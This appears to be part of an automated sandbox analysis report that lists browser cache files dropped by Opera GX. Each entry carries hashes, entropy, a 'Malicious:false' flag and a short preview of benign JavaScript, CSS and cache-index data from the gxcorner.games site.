                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8433
                                                                                                                                                                                                              Entropy (8bit):5.639530920082671
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C7AB86AA8332085E8F0732E3163D6400
                                                                                                                                                                                                              SHA1:51EFF28584E1858AF324AB5F1326856D39FA6902
                                                                                                                                                                                                              SHA-256:2B6E64AD0B97ED03FAA869ADA83A6194413FE41756A297CF04BF564723612D1D
                                                                                                                                                                                                              SHA-512:989FBA302DA20516A067AC4521698327A5B857605EDF25F66BBBCB5D4A59C9208CE5187CBDE2E7878F65D20302BD97B3BB17804EE2A0B279521E6B8AF88FFDA9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......4....&.#....https://gxcorner.games/assets/DailyShort-BMr-HD-N.jsimport{s as R,p as U,i as T}from"./index-DMZ02uhD.js";import{S as V,i as A,aq as K,b as w,m as I,f as Q,ah as X,aU as Y,t as _,g as p,j as y,bv as Z,C as v,s as P,O as B,E as h,L,e as b,F as k,I as D,J as E,h as g,D as z,G as N,b2 as x,az as F,H as G,an as S,aM as ee}from"./App-Dh0jPV6c.js";import{I as te}from"./IntersectionObserver-DNzenOzn.js";import{D as le}from"./DailyLayout-BJyJ127i.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./Daily-B4nyd3Ac.js";(function(){try{var l=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(l._sentryDebugIds=l._sentryDebugIds||{},l._sentryDebugIds[e]="04c6444c-b8eb-40ca-922e-b8fdd319d54c",l._sentryDebugIdIdentifier="sentry-dbid-04c6444c-b8eb-40ca-922e-b8fdd319d54c")}catch{}})();const{window:J}=Z;function W(l){let e,n=l[0]?.title+"",t;return{c(){e=v("h3"),t=z(n),h(e,"class","post-title svelte-1av34sr")},m(i,r

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\cc6b4beeae5bf621_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2012
                                                                                                                                                                                                              Entropy (8bit):5.930815114145499
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E90CD9B218C1B963825A26F94BA9C428
                                                                                                                                                                                                              SHA1:CC464992420464D8F1671AE90E1BF0ECC88A17F1
                                                                                                                                                                                                              SHA-256:6FF9803309881C35D5E952C428D2D818A250D1D55A57B7ACF383A5C8B67D8DE6
                                                                                                                                                                                                              SHA-512:CBC918D040EA5896FE6485AFEE539DCF2ED2E50E5BA865F125486F5D1997374338D029A520C4743428D2FCB44E5EB1C7356B3EC1123649D34D8FD3FDB8947F93
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1....:......https://gxcorner.games/assets/Badges-DROjT9oZ.css.badges.svelte-15gyqwy.svelte-15gyqwy{right:20px;z-index:1}.badges.svelte-15gyqwy.svelte-15gyqwy,.badges.svelte-15gyqwy>div.svelte-15gyqwy{height:32px;position:absolute;top:0;width:24px}.badges.svelte-15gyqwy>div.svelte-15gyqwy{background-color:#131019;background-image:var(--logo);background-position:50%;background-repeat:no-repeat;background-size:18px auto;border-bottom-left-radius:4px;border-bottom-right-radius:4px;left:0}@media (resolution >= 1.5x){.badges.svelte-15gyqwy>div.svelte-15gyqwy{background-image:var(--logo2x)}}.metacritic.svelte-15gyqwy.svelte-15gyqwy{background-color:#ccc;background-image:none;font-weight:700;line-height:32px;opacity:0;text-align:center;transition:opacity var(--animation-time) ease-out;vertical-align:middle;will-change:opacity}:hover>.badges.svelte-15gyqwy>.metacritic.svelte-15gyqwy{opacity:1}.metacritic.green.svelte-15gyqwy.svelte-15gyqwy{background-color:#00a318}.metacritic.orange

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\cfefc67212bb2355_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1339
                                                                                                                                                                                                              Entropy (8bit):6.155767922040596
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0A579BC84E94EC590589013B0C26812C
                                                                                                                                                                                                              SHA1:1059696E246621A1F3607051CCE07BFC2CABB555
                                                                                                                                                                                                              SHA-256:51AC23324336E92B14EA7E23F248ECA810D61B4A6A7E3CD7ABBE7C72934758EA
                                                                                                                                                                                                              SHA-512:7DB8DB48465977D0C9E4C25FD7542DCC0741A0AAD6C77D775031FEBF23BE42B16C680C430DBB6AE36203A02E8B88842D3F1F36FC4F7610AAB216A2F63AF14375
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1....7.B....https://gxcorner.games/assets/Stores-eu-j-VTK.css.logo.svelte-pixmdc{align-items:center;background-image:var(--logo);background-position:50%;background-repeat:no-repeat;background-size:auto 40px;display:flex;height:92px;justify-content:center;position:relative;width:161px}@media (resolution >= 1.5x){.logo.svelte-pixmdc{background-image:var(--logo2x)}}@media (prefers-color-scheme:light){.logo.svelte-pixmdc{filter:invert(100%)}}..A..Eo........&.~...........GET.........."...age..327466")..cache-control..public, max-age=31536000"...cf-cache-status..HIT"...cf-ray..8d1da3a559e941b2-EWR"...content-encoding..gzip"...content-type..text/css"%..date..Sun, 13 Oct 2024 07:33:02 GMT",..etag.$W/"9adc969bfd5e16b7930f863697942ea8""(..expires..Mon, 13 Oct 2025 07:33:02 GMT"...last-modified..Wed, 09 Oct 2024 12:35:01 GMT"...server..cloudflare"...vary..Accept-Encoding"G..via.@1.1 686217785c5aa257660a5a0c173f7be8.cloudfront.net (CloudFront)"G..x-amz-cf-id.8ONeId1nORKSbFPcXqa8MmDNKFw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\d14a6fe8c42a86ef_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8359
                                                                                                                                                                                                              Entropy (8bit):5.624053781688942
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7969C512A8A9ED79702B4A4B27D0CC01
                                                                                                                                                                                                              SHA1:0E0B25D494A26AB36B363F69938A12C620946BDC
                                                                                                                                                                                                              SHA-256:8B82CD012670CA462304B7092F5D95488664320BE6A49C070893848E8676C680
                                                                                                                                                                                                              SHA-512:10736151600C87621B7E7D4D71915F62563CF8477D189686C627A6909E1A108C4A92A32B4B0C99F6256B1D794BCE7495546DA1D28E5FCCADE905142404BAB194
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m............&.....https://gxcorner.games/assets/News-DEklmy-S.jsimport{s as E,n as q,A as U,p as N,o as M,q as W,C as x,y as X,i as A}from"./index-DMZ02uhD.js";import{S as z,i as H,O as T,e as k,t as m,h as v,aj as ee,C as p,E as g,aq as Z,aP as Q,at as V,az as te,b as y,m as I,g as b,j as C,ax as le,D as B,s as D,F as w,G as F,al as ne,I as j,J as O,W as se,ah as Y,aU as $,v as re,ay as ae,aZ as ie,a_ as oe,K as G,X as ce,am as ue,a$ as fe,b0 as _e,R as de,T as me,U as ge}from"./App-Dh0jPV6c.js";import{a as J,c as be,b as he}from"./news-DnkPxxHL.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var r=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(r._sentryDebugIds=r._sentryDebugIds||{},r._sentryDebugIds[e]="d5647080-97a7-4439-a6d9-c691325c0e4e",r._sentryDebugIdIdentifier="sentry-dbid-d5647080-97a7-4439-a6d9-c691325c0e4e")}catch{}})();function pe(r){let e,n;return{c(){e=p("div"),g(e,"class","placeholde

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\d56cdff481ec6b63_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1818
                                                                                                                                                                                                              Entropy (8bit):5.972555125973068
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1E1F498AC804A9AB3C82CF978B9D295D
                                                                                                                                                                                                              SHA1:DF1E3FDF842EF8B5343EF48406D980787F119C75
                                                                                                                                                                                                              SHA-256:F1001719A1A37F0059F03EB8C68B7D2AC176D906FAE1F94CBBB90D8D9BD4FDFB
                                                                                                                                                                                                              SHA-512:14A7274BFCC9CF00CA4D8D6C1F84B1FC0E14524354EE744575FF860E0CCA7912635F453F6FD91C0383CD0E750CD47140DAF3038986927A4414A8A13006D986BB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......;......i....https://gxcorner.games/assets/CollectiblesHero-BR6VyEvB.css.container.svelte-1qdw8pq{--animation-time:.2s;--description-height:50px;--width:161px;width:var(--width)}.image.svelte-1qdw8pq{height:calc(var(--height) - var(--description-height));overflow:hidden}.description.svelte-1qdw8pq{background-color:hsl(var(--color-N08));box-sizing:border-box;color:var(--theme-text-color);display:flex;flex-direction:column;font-size:12px;justify-content:space-between;line-height:12px;padding:8px;z-index:1}.title.svelte-1qdw8pq{font-weight:590;line-height:16px;text-overflow:ellipsis}.price.svelte-1qdw8pq,.title.svelte-1qdw8pq{overflow:hidden;white-space:nowrap}.price.svelte-1qdw8pq{font-weight:400}.container.svelte-uw8rww{display:flex;flex-direction:column;gap:24px;position:relative}.withbackground.svelte-uw8rww:not(.no-media){margin-bottom:56px;padding-top:56px}.header-wrapper.svelte-uw8rww{z-index:0}..A..Eo.........I...........GET.........."...age..327466")..cache-control..p

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\d8f3215d561cc0e8_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2418
                                                                                                                                                                                                              Entropy (8bit):5.8474154991402205
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CC1F710CF091A2E3163D3B094E6D9EC9
                                                                                                                                                                                                              SHA1:4DCFF462E911F3887DCAF13E1AC91BA1BC2D6D04
                                                                                                                                                                                                              SHA-256:EA94B22A73AF3C53AD65EB8FF678A181B936367341EE3AADAC5E28EA389D651C
                                                                                                                                                                                                              SHA-512:B7573E14761C83F3C77C5200069D4179EE70C6BBD084D52B338E21A9D0D87248F720CE87992ADB57F2D54DCA202F4361328ED5DEBC6CABFB99384DBAFE740C56
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......:..........https://gxcorner.games/assets/DailyThisOrThat-BKO_H0dE.css.poll.svelte-1b46a7e{display:flex;flex-direction:column;gap:20px}@media (max-width:1130px){.poll.svelte-1b46a7e{gap:30px}.poll-2-columns.svelte-1b46a7e{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:1fr 1fr 1fr}}.poll-cta.svelte-1b46a7e{margin-left:9px;max-width:266px}@media (max-width:1130px){.poll-cta.svelte-1b46a7e{grid-column:2/3;grid-row:3/4;max-width:193px}}.poll-item-0.svelte-1b46a7e{grid-column:1/2;grid-row:1/2}.poll-item-1.svelte-1b46a7e{grid-column:1/2;grid-row:2/3}.poll-item-2.svelte-1b46a7e{grid-column:2/3;grid-row:1/2}.poll-item-3.svelte-1b46a7e{grid-column:2/3;grid-row:2/3}.this-or-that-content.svelte-1cg5o60{display:flex;flex-direction:column;height:100%}@media (max-width:794px){.this-or-that-content.svelte-1cg5o60{max-width:440px}}@media (max-width:1130px){.this-or-that-content.poll-2-columns.svelte-1cg5o60{justify-content:space-between}}.title.svelte-1cg5o60{color:var(--the

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\e43bdd4bdcbf2491_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14533
                                                                                                                                                                                                              Entropy (8bit):5.523842891038042
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:96435AE6410A3DBE56CC29F01A964806
                                                                                                                                                                                                              SHA1:03D53A5D706053835821EC69188D15BBAB95B0A5
                                                                                                                                                                                                              SHA-256:FC55BD8FDD404B756EC63873D37A5C239B88AB58E61BE203D0DCF9C9698B3369
                                                                                                                                                                                                              SHA-512:D7B7BE84C68E27F99176C5D8665F211AD7FA84B14DFE0AEE721706B7FF1A714CE31985FE34D21157E62627450768F909A2D5584F2135BAE46A0A088BAAD725EF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0....."....https://gxcorner.games/assets/Banner-CwGo8f_c.jsimport{s as K,k as Me,u as Re,l as je,m as ze,o as B,C as $e,w as ye,n as A,y as we,i as Ge,p as Q,A as q,b as U}from"./index-DMZ02uhD.js";import{S as W,i as J,C as $,e as p,t as d,g as m,h as b,aj as Oe,ad as Pe,R as G,O as D,K as se,E as v,L as S,aa as Ie,am as Fe,D as oe,s as V,F as C,G as fe,Z as He,al as P,af as E,f as N,ah as x,J as F,bb as Ke,b as y,m as w,j as O,I as H,bg as Ue,b3 as We,bh as Je,bd as Xe,bi as Ye,be as Ze,a4 as Qe,bj as xe,bc as et,az as tt,bk as lt,an as ue,aH as Ae}from"./App-Dh0jPV6c.js";import{I as nt}from"./IntersectionObserver-DNzenOzn.js";import{T as rt}from"./TempBanner-BO6TytuB.js";import{d as it}from"./time-CmnUK5pk.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var r=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(r._sentryDebugIds=r._sentryDebugIds||{},r._sentryDebugIds[e]="b6bd41f6-86ff-474a-a729-5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\e6677fcfd4425d4f_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14592
                                                                                                                                                                                                              Entropy (8bit):5.127627916736135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F9F8A1FF7B1AFF13779D171936EBCC70
                                                                                                                                                                                                              SHA1:688C4F12F2E86CD5186E3F5D1216F736BA6F244A
                                                                                                                                                                                                              SHA-256:37A351F8421C4B1A1DCB7BD1655936C5FA2E9EA5585446246976C98E1687362A
                                                                                                                                                                                                              SHA-512:A92131E1A341F4FD75F116130A1D6A6957484302410A966AA7B114CF342B95F0E5705183BC7CA30843C0953B44DA862BB3BDBCE772FA8FA6739F3D1F8E9E2DAA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0...V.K....https://gxcorner.games/assets/Debug-CC7N4Wa_.css.wrapper.svelte-1ucyg3q{height:28px;position:relative}.wrapper.disabled.svelte-1ucyg3q{--main-color:#383345;--main-darker-color:#383345}.box.svelte-1ucyg3q{background-color:#190411;border-color:var(--main-color);border-radius:4px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#eae6f5;font-family:system-ui;font-feature-settings:"kern" 1;font-size:11px;font-style:normal;font-weight:700;height:18px;left:var(--left);min-width:50px;padding:1px 2px;position:absolute;text-align:center;text-rendering:optimizelegibility;top:50%;transform:translate(calc(var(--left)*-1),-50%);white-space:nowrap}.box.active.svelte-1ucyg3q,.box.svelte-1ucyg3q:hover{box-shadow:0 0 4px var(--main-color);cursor:pointer}.background.svelte-1ucyg3q{background:linear-gradient(90deg,hsl(var(--color-shadow)) 0,hsl(var(--color-accent)) var(--left),#383345 var(--left),#383345 100%);height:2px;position:absolute;top:50%;tran

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\efe8129e71e8f095_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1765
                                                                                                                                                                                                              Entropy (8bit):5.941950795695272
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AC2ABD16EB4DA3572CAE522F6404F146
                                                                                                                                                                                                              SHA1:8344D681F1A750B37CF5B20F9CEEE45EC9E303A7
                                                                                                                                                                                                              SHA-256:E28B8C1C68AC297BDF216767913F92170DEA966F823BDE72CEEA506567439AF4
                                                                                                                                                                                                              SHA-512:2BA83938691652A62423E0CDC5602A0D8371AE90212934D5FC3E6EB93FDB976A1795E3790418792AB85B33745782A03FC010C430A36530B42D5256870C17541B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1...!a......https://gxcorner.games/assets/Banner-DqStLAn9.css.timer.svelte-1bdqgz0.svelte-1bdqgz0{color:#fa1e4e;display:flex;font-family:Chakra Petch,sans-serif;font-size:13px;font-weight:700;gap:var(--gap);pointer-events:none}.timer.blink.svelte-1bdqgz0 .divider.svelte-1bdqgz0{opacity:0}video.svelte-196apwr{display:none;height:100%;left:0;-o-object-fit:cover;object-fit:cover;-o-object-position:center;object-position:center;position:absolute;top:0;-webkit-user-select:none;-moz-user-select:none;user-select:none;width:100%}.banner.svelte-1ay2d1r{height:-moz-fit-content;height:fit-content;overflow:hidden;position:relative}.buttons.svelte-1ay2d1r{right:var(--offsetRight);top:var(--offsetTop)}.buttons.svelte-1ay2d1r,.timer.svelte-1ay2d1r{position:absolute}.timer.svelte-1ay2d1r{left:var(--timerOffsetLeft);top:var(--timerOffsetTop);transform:translate(-50%,-50%)}..A..Eo.......V..(...........GET.........."...age..327475")..cache-control..public, max-age=31536000"...cf-cache-status.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\fbb74ccb74d75345_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3342
                                                                                                                                                                                                              Entropy (8bit):5.921535326154378
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:50DAF7260E3D46EE34C6F075F78E9005
                                                                                                                                                                                                              SHA1:50FBEF58C3F0102E3921AE2AB86BE7967CDA15DD
                                                                                                                                                                                                              SHA-256:18BD41C705A24BFE86587D07816E0A3212384185B1349DDC7854C627CE7705AB
                                                                                                                                                                                                              SHA-512:F89683E1C1F52B41548A004AECDE4A9EFABBAD36FDAF28FAD44AD57BCC5935BA467126C08151D31A6AF4C79C77DEC64C1347B2AE6AF5FA8D54FDA0A9F60344AF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......>....s=.....https://gxcorner.games/assets/IntersectionObserver-DNzenOzn.jsimport{s as k,k as C,p as g,u as E,l as R,m as S,B as v,q as W}from"./index-DMZ02uhD.js";import{S as q,i as B,C as P,af as y,e as Y,f as j,ah as p,t as z,g as A,h as F,Y as G,ad as H,al as J,R as K}from"./App-Dh0jPV6c.js";(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(e._sentryDebugIds=e._sentryDebugIds||{},e._sentryDebugIds[t]="25731815-1f33-42d9-b033-b08b9516323b",e._sentryDebugIdIdentifier="sentry-dbid-25731815-1f33-42d9-b033-b08b9516323b")}catch{}})();const L=!0,M=e=>({intersecting:e&1}),I=e=>({intersecting:e[0]});function N(e){let t,n,u,b;const a=e[9].default,o=C(a,e,e[8],I);let f=[e[2]],i={};for(let s=0;s<f.length;s+=1)i=g(i,f[s]);return{c(){t=P("div"),o&&o.c(),y(t,i)},m(s,l){Y(s,t,l),o&&o.m(t,null),e[11](t),n=!0,u||(b=j(t,"*",e[10]),u=!0)},p(s,[l]){o&&o.p&&(!n||l&257)&&E(o,a,s,s[8],n?S(a,s[8],l,M):R(s[8]),I),y(t,i=p(f,[l&4

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):24
                                                                                                                                                                                                              Entropy (8bit):2.1431558784658327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54CB446F628B2EA4A5BCE5769910512E
                                                                                                                                                                                                              SHA1:C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
                                                                                                                                                                                                              SHA-256:FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
                                                                                                                                                                                                              SHA-512:8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\index-dir\temp-index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F2A116F5351EA9E7D112115DBC54DA13
                                                                                                                                                                                                              SHA1:E7F45DBCE79592068220D267DCEC6AE020C57AB2
                                                                                                                                                                                                              SHA-256:F731B104150E26DE51F9D6FC4FB05CE637F363198573AB4E74742CE37D82701D
                                                                                                                                                                                                              SHA-512:3B80A2C868501568871DBF31798D30D9450E4DE47BE161BC5709E77B35FF0F552C1DE74070ABBD24EB10D39DA6A0D3B0699CACDF818A46153AF40CF4C3ABA6F0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(.......oy retne..........................*../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\index-dir\the-real-index (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F2A116F5351EA9E7D112115DBC54DA13
                                                                                                                                                                                                              SHA1:E7F45DBCE79592068220D267DCEC6AE020C57AB2
                                                                                                                                                                                                              SHA-256:F731B104150E26DE51F9D6FC4FB05CE637F363198573AB4E74742CE37D82701D
                                                                                                                                                                                                              SHA-512:3B80A2C868501568871DBF31798D30D9450E4DE47BE161BC5709E77B35FF0F552C1DE74070ABBD24EB10D39DA6A0D3B0699CACDF818A46153AF40CF4C3ABA6F0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(.......oy retne..........................*../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\index.txt (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):152
                                                                                                                                                                                                              Entropy (8bit):5.093359731325975
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:93B20F435309FB4C35375C5D8EE399ED
                                                                                                                                                                                                              SHA1:39B5B3F6A18D5333DE8068FE09D577D316D96C4E
                                                                                                                                                                                                              SHA-256:A0257A29C3279930DBE8F98F2B5DFB54B4E56E717195B7168418042D6BF49628
                                                                                                                                                                                                              SHA-512:76C57D14DB8AE3DE70ABBD0AFC030375088E73D9F64D042A731600097971A6D812600CD3AC003C426648A95D63F922A5E48D8AE1125B756E6FFDC54D38BAE037
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.`.+workbox-precache-v2-https://gxcorner.games/.$b3eb7923-97a2-46f0-90cc-28c6158e0aa9(..........0...https://gxcorner.games/..https://gxcorner.games/ .(.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\index.txt.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):152
                                                                                                                                                                                                              Entropy (8bit):5.093359731325975
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:93B20F435309FB4C35375C5D8EE399ED
                                                                                                                                                                                                              SHA1:39B5B3F6A18D5333DE8068FE09D577D316D96C4E
                                                                                                                                                                                                              SHA-256:A0257A29C3279930DBE8F98F2B5DFB54B4E56E717195B7168418042D6BF49628
                                                                                                                                                                                                              SHA-512:76C57D14DB8AE3DE70ABBD0AFC030375088E73D9F64D042A731600097971A6D812600CD3AC003C426648A95D63F922A5E48D8AE1125B756E6FFDC54D38BAE037
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.`.+workbox-precache-v2-https://gxcorner.games/.$b3eb7923-97a2-46f0-90cc-28c6158e0aa9(..........0...https://gxcorner.games/..https://gxcorner.games/ .(.

